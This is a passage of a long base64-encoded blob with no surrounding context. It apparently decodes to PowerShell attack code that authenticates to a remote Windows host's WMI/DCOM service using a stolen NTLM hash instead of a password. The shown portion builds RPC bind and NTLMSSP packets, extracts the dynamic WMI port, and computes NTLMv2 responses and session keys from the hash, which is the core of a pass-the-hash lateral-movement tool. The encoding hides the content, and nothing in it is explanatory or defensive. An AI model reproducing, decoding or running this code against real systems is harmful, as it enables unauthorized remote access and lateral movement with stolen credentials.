l0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROVExNdjJfcmVzcG9uc2UNCg0KICAgICAgICAkYXNzb2NfZ3JvdXAgPSAkV01JX2NsaWVudF9yZWNlaXZlWzIwLi4yM10NCiAgICAgICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDQVVUSDMgJE5UTE1TU1BfcmVzcG9uc2UNCiAgICAgICAgJFJQQyA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDDQogICAgICAgICRXTUlfY2xpZW50X3NlbmQgPSAkUlBDDQogICAgICAgICRXTUlfY2xpZW50X3N0cmVhbS5Xcml0ZSgkV01JX2NsaWVudF9zZW5kLDAsJFdNSV9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICRjYXVzYWxpdHlfSUQgPSBbU3RyaW5nXSgxLi4xNiB8IEZvckVhY2gtT2JqZWN0IHsiezA6WDJ9IiAtZiAoR2V0LVJhbmRvbSAtTWluaW11bSAxIC1NYXhpbXVtIDI1NSl9KQ0KICAgICAgICBbQnl0ZVtdXSRjYXVzYWxpdHlfSURfYnl0ZXMgPSAkY2F1c2FsaXR5X0lELlNwbGl0KCIgIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiAgICAgICAgJHVudXNlZF9idWZmZXIgPSBbU3RyaW5nXSgxLi4xNiB8IEZvckVhY2gtT2JqZWN0IHsiezA6WDJ9IiAtZiAoR2V0LVJhbmRvbSAtTWluaW11bSAxIC1NYXhpbXVtIDI1NSl9KQ0KICAgICAgICBbQnl0ZVtdXSR1bnVzZWRfYnVmZmVyX2J5dGVzID0gJHVudXNlZF9idWZmZXIuU3BsaXQoIiAiKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KICAgICAgICAkcGFja2V0X0RDT01fcmVtb3RlX2NyZWF0ZV9pbnN0YW5jZSA9IEdldC1QYWNrZXREQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UgJGNhdXNhbGl0eV9JRF9ieXRlcyAkdGFyZ2V0X3Nob3J0DQogICAgICAgICREQ09NX3JlbW90ZV9jcmVhdGVfaW5zdGFuY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X0RDT01fcmVtb3RlX2NyZWF0ZV9pbnN0YW5jZQ0KICAgICAgICAkcGFja2V0X1JQQyA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJERDT01fcmVtb3RlX2NyZWF0ZV9pbnN0YW5jZS5MZW5ndGggMCAwIDB4MDMsMHgwMCwweDAwLDB4MDAgMHgwMSwweDAwIDB4MDQsMHgwMA0KICAgICAgICAkUlBDID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUEMNCiAgICAgICAgJFdNSV9jbGllbnRfc2VuZCA9ICRSUEMgKyAkRENPTV9yZW1vdGVfY3JlYXRlX2luc3RhbmNlDQogICAgICAgICRXTUlfY2xpZW50X3N0cmVhbS5Xcml0ZSgkV01JX2NsaWVudF9zZW5kLDAsJFdNSV9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICRXTUlfY2xpZW50X3N0cmVhbS5SZWFkKCRXTUlfY2xpZW50X3JlY2VpdmUsMCwkV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KDQogICAgICAgIGlmKCRXTUlfY2xpZW50X3JlY2VpdmVbMl0gLWVxIDMgLWFuZCBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmVbMjQuLjI3XSkgLWVxICcwNS0wMC0wMC0wMCcpDQogICAgICAgIHsNCiAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiJG91dHB1dF91c2VybmFtZSBXTUkgYWNjZXNzIGRlbmllZCBvbiAkdGFyZ2V0X2xvbmciICAgIA0KICAgICAgICB9DQogICAgICAgIGVsc2VpZigkV01JX2NsaWVudF9yZWNlaXZlWzJdIC1lcSAzKQ0KICAgICAgICB7DQogICAgICAgICAgICAkZXJyb3JfY29kZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFdNSV9jbGllbnRfcmVjZWl2ZVsyNy4uMjRdKQ0KICAgICAgICAgICAgJGVycm9yX2NvZGUgPSAkZXJyb3JfY29kZSAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiRXJyb3IgY29kZSAweCRlcnJvcl9jb2RlIg0KICAgICAgICB9DQogICAgICAgIGVsc2VpZigkV01JX2NsaWVudF9yZWNlaXZlWzJdIC1lcSAyIC1hbmQgISRXTUlfZXhlY3V0ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICIkb3V0cHV0X3VzZXJuYW1lIGFjY2Vzc2VkIFdNSSBvbiAkdGFyZ2V0X2xvbmciDQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmKCRXTUlfY2xpZW50X3JlY2VpdmVbMl0gLWVxIDIpDQogICAgICAgIHsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiJG91dHB1dF91c2VybmFtZSBhY2Nlc3NlZCBXTUkgb24gJHRhcmdldF9sb25nIg0KDQogICAgICAgICAgICBpZigkdGFyZ2V0X3Nob3J0IC1lcSAnMTI3LjAuMC4xJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdGFyZ2V0X3Nob3J0ID0gJGF1dGhfaG9zdG5hbWUNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHRhcmdldF91bmljb2RlID0gMHgwNywweDAwICsgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkdGFyZ2V0X3Nob3J0ICsgIlsiKQ0KICAgICAgICAgICAgJHRhcmdldF9zZWFyY2ggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCR0YXJnZXRfdW5pY29kZSkNCiAgICAgICAgICAgICR0YXJnZXRfc2VhcmNoID0gJHRhcmdldF9zZWFyY2ggLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAkV01JX21lc3NhZ2UgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmUpDQogICAgICAgICAgICAkV01JX21lc3NhZ2UgPSAkV01JX21lc3NhZ2UgLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAkdGFyZ2V0X2luZGV4ID0gJFdNSV9tZXNzYWdlLkluZGV4T2YoJHRhcmdldF9zZWFyY2gpDQoNCiAgICAgICAgICAgIGlmKCR0YXJnZXRfaW5kZXggLWx0IDEpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHRhcmdldF9hZGRyZXNzX2xpc3QgPSBbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0RW50cnkoJHRhcmdldF9sb25nKS5BZGRyZXNzTGlzdA0KDQogICAgICAgICAgICAgICAgRm9yRWFjaCgkSVBfYWRkcmVzcyBpbiAkdGFyZ2V0X2FkZHJlc3NfbGlzdCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR0YXJnZXRfc2hvcnQgPSAkSVBfYWRkcmVzcy5JUEFkZHJlc3NUb1N0cmluZw0KICAgICAgICAgICAgICAgICAgICAkdGFyZ2V0X3VuaWNvZGUgPSAweDA3LDB4MDAgKyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCR0YXJnZXRfc2hvcnQgKyAiWyIpDQogICAgICAgICAgICAgICAgICAgICR0YXJnZXRfc2VhcmNoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkdGFyZ2V0X3VuaWNvZGUpDQogICAgICAgICAgICAgICAgICAgICR0YXJnZXRfc2VhcmNoID0gJHRhcmdldF9zZWFyY2ggLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAgICAgICAgICR0YXJnZXRfaW5kZXggPSAkV01JX21lc3NhZ2UuSW5kZXhPZigkdGFyZ2V0X3NlYXJjaCkNCg0KICAgICAgICAgICAgICAgICAgICBpZigkdGFyZ2V0X2luZGV4IC1ndCAwKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhaw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYoJHRhcmdldF9sb25nIC1jbmUgJHRhcmdldF9zaG9ydCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJVc2luZyAkdGFyZ2V0X3Nob3J0IGZvciByYW5kb20gcG9ydCBleHRyYWN0aW9uIg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZigkdGFyZ2V0X2luZGV4IC1ndCAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0YXJnZXRfYnl0ZXNfaW5kZXggPSAkdGFyZ2V0X2luZGV4IC8gMg0KICAgICAgICAgICAgICAgICRXTUlfcmFuZG9tX3BvcnQgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkdGFyZ2V0X2J5dGVzX2luZGV4ICsgJHRhcmdldF91bmljb2RlLkxlbmd0aCkuLigkdGFyZ2V0X2J5dGVzX2luZGV4ICsgJHRhcmdldF91bmljb2RlLkxlbmd0aCArIDgpXQ0KICAgICAgICAgICAgICAgICRXTUlfcmFuZG9tX3BvcnQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfcmFuZG9tX3BvcnQpDQogICAgICAgICAgICAgICAgJFdNSV9yYW5kb21fcG9ydF9lbmRfaW5kZXggPSAkV01JX3JhbmRvbV9wb3J0LkluZGV4T2YoIi01RCIpDQoNCiAgICAgICAgICAgICAgICBpZigkV01JX3JhbmRvbV9wb3J0X2VuZF9pbmRleCAtZ3QgMCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRXTUlfcmFuZG9tX3BvcnQgPSAkV01JX3JhbmRvbV9wb3J0LlN1YlN0cmluZygwLCRXTUlfcmFuZG9tX3BvcnRfZW5kX2luZGV4KQ0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICRXTUlfcmFuZG9tX3BvcnQgPSAkV01JX3JhbmRvbV9wb3J0IC1yZXBsYWNlICItMDAiLCIiDQogICAgICAgICAgICAgICAgJFdNSV9yYW5kb21fcG9ydCA9ICRXTUlfcmFuZG9tX3BvcnQuU3BsaXQoIi0iKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KICAgICAgICAgICAgICAgIFtJbnRdJFdNSV9yYW5kb21fcG9ydF9pbnQgPSAtam9pbiAkV01JX3JhbmRvbV9wb3J0IA0KICAgICAgICAgICAgICAgICRNRU9XID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkV01JX2NsaWVudF9yZWNlaXZlKQ0KICAgICAgICAgICAgICAgICRNRU9XID0gJE1FT1cgLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAgICAgJE1FT1dfaW5kZXggPSAkTUVPVy5JbmRleE9mKCI0RDQ1NEY1NzAxMDAwMDAwMThBRDA5RjM2QUQ4RDAxMUEwNzUwMEMwNEZCNjg4MjAiKQ0KICAgICAgICAgICAgICAgICRNRU9XX2J5dGVzX2luZGV4ID0gJE1FT1dfaW5kZXggLyAyDQogICAgICAgICAgICAgICAgJE9YSUQgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkTUVPV19ieXRlc19pbmRleCArIDMyKS4uKCRNRU9XX2J5dGVzX2luZGV4ICsgMzkpXQ0KICAgICAgICAgICAgICAgICRJUElEID0gJFdNSV9jbGllbnRfcmVjZWl2ZVsoJE1FT1dfYnl0ZXNfaW5kZXggKyA0OCkuLigkTUVPV19ieXRlc19pbmRleCArIDYzKV0NCiAgICAgICAgICAgICAgICAkT1hJRCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJE9YSUQpDQogICAgICAgICAgICAgICAgJE9YSUQgPSAkT1hJRCAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgICAgICAkT1hJRF9pbmRleCA9ICRNRU9XLkluZGV4T2YoJE9YSUQsJE1FT1dfaW5kZXggKyAxMDApDQogICAgICAgICAgICAgICAgJE9YSURfYnl0ZXNfaW5kZXggPSAkT1hJRF9pbmRleCAvIDINCiAgICAgICAgICAgICAgICAkb2JqZWN0X1VVSUQgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkT1hJRF9ieXRlc19pbmRleCArIDEyKS4uKCRPWElEX2J5dGVzX2luZGV4ICsgMjcpXQ0KICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50DQogICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnQuQ2xpZW50LlJlY2VpdmVUaW1lb3V0ID0gMzAwMDANCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYoJFdNSV9yYW5kb21fcG9ydCkNCiAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIkNvbm5lY3RpbmcgdG8gJHRhcmdldF9sb25nYDokV01JX3JhbmRvbV9wb3J0X2ludCINCg0KICAgICAgICAgICAgICAgIHRyeQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnQuQ29ubmVjdCgkdGFyZ2V0X2xvbmcsJFdNSV9yYW5kb21fcG9ydF9pbnQpDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGNhdGNoDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIiR0YXJnZXRfbG9uZ2A6JFdNSV9yYW5kb21fcG9ydF9pbnQgZGlkIG5vdCByZXNwb25kIg0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiUmFuZG9tIHBvcnQgZXh0cmFjdGlvbiBmYWlsdXJlIg0KICAgICAgICAgICAgfQ0KDQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBXcml0ZS1PdXRwdXQgIlNvbWV0aGluZyB3ZW50IHdyb25nIg0KICAgICAgICB9DQoNCiAgICAgICAgaWYoJFdNSV9jbGllbnRfcmFuZG9tX3BvcnQuQ29ubmVjdGVkKQ0KICAgICAgICB7DQogICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0gPSAkV01JX2NsaWVudF9yYW5kb21fcG9ydC5HZXRTdHJlYW0oKQ0KICAgICAgICAgICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDQmluZCAyIDB4ZDAsMHgxNiAweDAzIDB4MDAsMHgwMCAweDQzLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHhjMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2IDB4MDAsMHgwMA0KICAgICAgICAgICAgJHBhY2tldF9SUENbIlJQQ0JpbmRfRnJhZ0xlbmd0aCJdID0gMHhkMCwweDAwDQogICAgICAgICAgICAkcGFja2V0X1JQQ1siUlBDQmluZF9BdXRoTGVuZ3RoIl0gPSAweDI4LDB4MDANCiAgICAgICAgICAgICRwYWNrZXRfUlBDWyJSUENCaW5kX0F1dGhMZXZlbCJdID0gMHgwNA0KICAgICAgICAgICAgJHBhY2tldF9SUENbIlJQQ0JpbmRfTmVnb3RpYXRlRmxhZ3MiXSA9IDB4OTcsMHg4MiwweDA4LDB4YTINCiAgICAgICAgICAgICRSUEMgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQw0KICAgICAgICAgICAgJFdNSV9jbGllbnRfc2VuZCA9ICRSUEMNCiAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5Xcml0ZSgkV01JX2NsaWVudF9zZW5kLDAsJFdNSV9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5GbHVzaCgpICAgIA0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLlJlYWQoJFdNSV9jbGllbnRfcmVjZWl2ZSwwLCRXTUlfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAkYXNzb2NfZ3JvdXAgPSAkV01JX2NsaWVudF9yZWNlaXZlWzIwLi4yM10NCiAgICAgICAgICAgICRXTUlfTlRMTVNTUCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFdNSV9jbGllbnRfcmVjZWl2ZSkNCiAgICAgICAgICAgICRXTUlfTlRMTVNTUCA9ICRXTUlfTlRMTVNTUCAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgICRXTUlfTlRMTVNTUF9pbmRleCA9ICRXTUlfTlRMTVNTUC5JbmRleE9mKCI0RTU0NEM0RDUzNTM1MDAwIikNCiAgICAgICAgICAgICRXTUlfTlRMTVNTUF9ieXRlc19pbmRleCA9ICRXTUlfTlRMTVNTUF9pbmRleCAvIDINCiAgICAgICAgICAgICRXTUlfZG9tYWluX2xlbmd0aCA9IERhdGFMZW5ndGgyICgkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAxMikgJFdNSV9jbGllbnRfcmVjZWl2ZQ0KICAgICAgICAgICAgJFdNSV90YXJnZXRfbGVuZ3RoID0gRGF0YUxlbmd0aDIgKCRXTUlfTlRMTVNTUF9ieXRlc19pbmRleCArIDQwKSAkV01JX2NsaWVudF9yZWNlaXZlDQogICAgICAgICAgICAkV01JX3Nlc3Npb25fSUQgPSAkV01JX2NsaWVudF9yZWNlaXZlWzQ0Li41MV0NCiAgICAgICAgICAgICRXTUlfTlRMTV9jaGFsbGVuZ2UgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAyNCkuLigkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAzMSldDQogICAgICAgICAgICAkV01JX3RhcmdldF9kZXRhaWxzID0gJFdNSV9jbGllbnRfcmVjZWl2ZVsoJFdNSV9OVExNU1NQX2J5dGVzX2luZGV4ICsgNTYgKyAkV01JX2RvbWFpbl9sZW5ndGgpLi4oJFdNSV9OVExNU1NQX2J5dGVzX2luZGV4ICsgNTUgKyAkV01JX2RvbWFpbl9sZW5ndGggKyAkV01JX3RhcmdldF9sZW5ndGgpXQ0KICAgICAgICAgICAgJFdNSV90YXJnZXRfdGltZV9ieXRlcyA9ICRXTUlfdGFyZ2V0X2RldGFpbHNbKCRXTUlfdGFyZ2V0X2RldGFpbHMuTGVuZ3RoIC0gMTIpLi4oJFdNSV90YXJnZXRfZGV0YWlscy5MZW5ndGggLSA1KV0NCiAgICAgICAgICAgICROVExNX2hhc2hfYnl0ZXMgPSAoJntmb3IgKCRpID0gMDskaSAtbHQgJGhhc2guTGVuZ3RoOyRpICs9IDIpeyRoYXNoLlN1YlN0cmluZygkaSwyKX19KSAtam9pbiAiLSINCiAgICAgICAgICAgICROVExNX2hhc2hfYnl0ZXMgPSAkTlRMTV9oYXNoX2J5dGVzLlNwbGl0KCItIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lID0gKGdldC1jaGlsZGl0ZW0gLXBhdGggZW52OmNvbXB1dGVybmFtZSkuVmFsdWUNCiAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkYXV0aF9ob3N0bmFtZSkNCiAgICAgICAgICAgICRhdXRoX2RvbWFpbiA9ICREb21haW4NCiAgICAgICAgICAgICRhdXRoX2RvbWFpbl9ieXRlcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJGF1dGhfZG9tYWluKQ0KICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCR1c2VybmFtZSkNCiAgICAgICAgICAgICRhdXRoX2RvbWFpbl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGgpDQogICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoID0gJGF1dGhfZG9tYWluX2xlbmd0aFswLDFdDQogICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoKQ0KICAgICAgICAgICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9ICRhdXRoX2RvbWFpbl9sZW5ndGhbMCwxXQ0KICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF91c2VybmFtZV9ieXRlcy5MZW5ndGgpDQogICAgICAgICAgICAkYXV0aF91c2VybmFtZV9sZW5ndGggPSAkYXV0aF91c2VybmFtZV9sZW5ndGhbMCwxXQ0KICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGgpDQogICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9sZW5ndGggPSAkYXV0aF9ob3N0bmFtZV9sZW5ndGhbMCwxXQ0KICAgICAgICAgICAgJGF1dGhfZG9tYWluX29mZnNldCA9IDB4NDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICAgICAgICAgJGF1dGhfaG9zdG5hbWVfb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgNjQpDQogICAgICAgICAgICAkYXV0aF9MTV9vZmZzZXQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGggKyAkYXV0aF91c2VybmFtZV9ieXRlcy5MZW5ndGggKyAkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGggKyA2NCkNCiAgICAgICAgICAgICRhdXRoX05UTE1fb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoICsgJGF1dGhfaG9zdG5hbWVfYnl0ZXMuTGVuZ3RoICsgODgpDQogICAgICAgICAgICAkSE1BQ19NRDUgPSBOZXctT2JqZWN0IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuSE1BQ01ENQ0KICAgICAgICAgICAgJEhNQUNfTUQ1LmtleSA9ICROVExNX2hhc2hfYnl0ZXMNCiAgICAgICAgICAgICR1c2VybmFtZV9hbmRfdGFyZ2V0ID0gJHVzZXJuYW1lLlRvVXBwZXIoKQ0KICAgICAgICAgICAgJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCR1c2VybmFtZV9hbmRfdGFyZ2V0KQ0KICAgICAgICAgICAgJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMgKz0gJGF1dGhfZG9tYWluX2J5dGVzDQogICAgICAgICAgICAkTlRMTXYyX2hhc2ggPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMpDQogICAgICAgICAgICAkY2xpZW50X2NoYWxsZW5nZSA9IFtTdHJpbmddKDEuLjggfCBGb3JFYWNoLU9iamVjdCB7InswOlgyfSIgLWYgKEdldC1SYW5kb20gLU1pbmltdW0gMSAtTWF4aW11bSAyNTUpfSkNCiAgICAgICAgICAgICRjbGllbnRfY2hhbGxlbmdlX2J5dGVzID0gJGNsaWVudF9jaGFsbGVuZ2UuU3BsaXQoIiAiKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KDQogICAgICAgICAgICAkc2VjdXJpdHlfYmxvYl9ieXRlcyA9IDB4MDEsMHgwMSwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfdGFyZ2V0X3RpbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNsaWVudF9jaGFsbGVuZ2VfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3RhcmdldF9kZXRhaWxzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwDQoNCiAgICAgICAgICAgICRzZXJ2ZXJfY2hhbGxlbmdlX2FuZF9zZWN1cml0eV9ibG9iX2J5dGVzID0gJFdNSV9OVExNX2NoYWxsZW5nZSArICRzZWN1cml0eV9ibG9iX2J5dGVzDQogICAgICAgICAgICAkSE1BQ19NRDUua2V5ID0gJE5UTE12Ml9oYXNoDQogICAgICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlID0gJEhNQUNfTUQ1LkNvbXB1dGVIYXNoKCRzZXJ2ZXJfY2hhbGxlbmdlX2FuZF9zZWN1cml0eV9ibG9iX2J5dGVzKQ0KICAgICAgICAgICAgJHNlc3Npb25fYmFzZV9rZXkgPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJE5UTE12Ml9yZXNwb25zZSkNCg0KICAgICAgICAgICAgJGNsaWVudF9zaWduaW5nX2NvbnN0YW50ID0gMHg3MywweDY1LDB4NzMsMHg3MywweDY5LDB4NmYsMHg2ZSwweDIwLDB4NmIsMHg2NSwweDc5LDB4MjAsMHg3NCwweDZmLDB4MjAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2MywweDZjLDB4NjksMHg2NSwweDZlLDB4NzQsMHgyZCwweDc0LDB4NmYsMHgyZCwweDczLDB4NjUsMHg3MiwweDc2LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NjUsMHg3MiwweDIwLDB4NzMsMHg2OSwweDY3LDB4NmUsMHg2OSwweDZlLDB4NjcsMHgyMCwweDZiLDB4NjUsMHg3OSwNCiAgICAgICAgICAg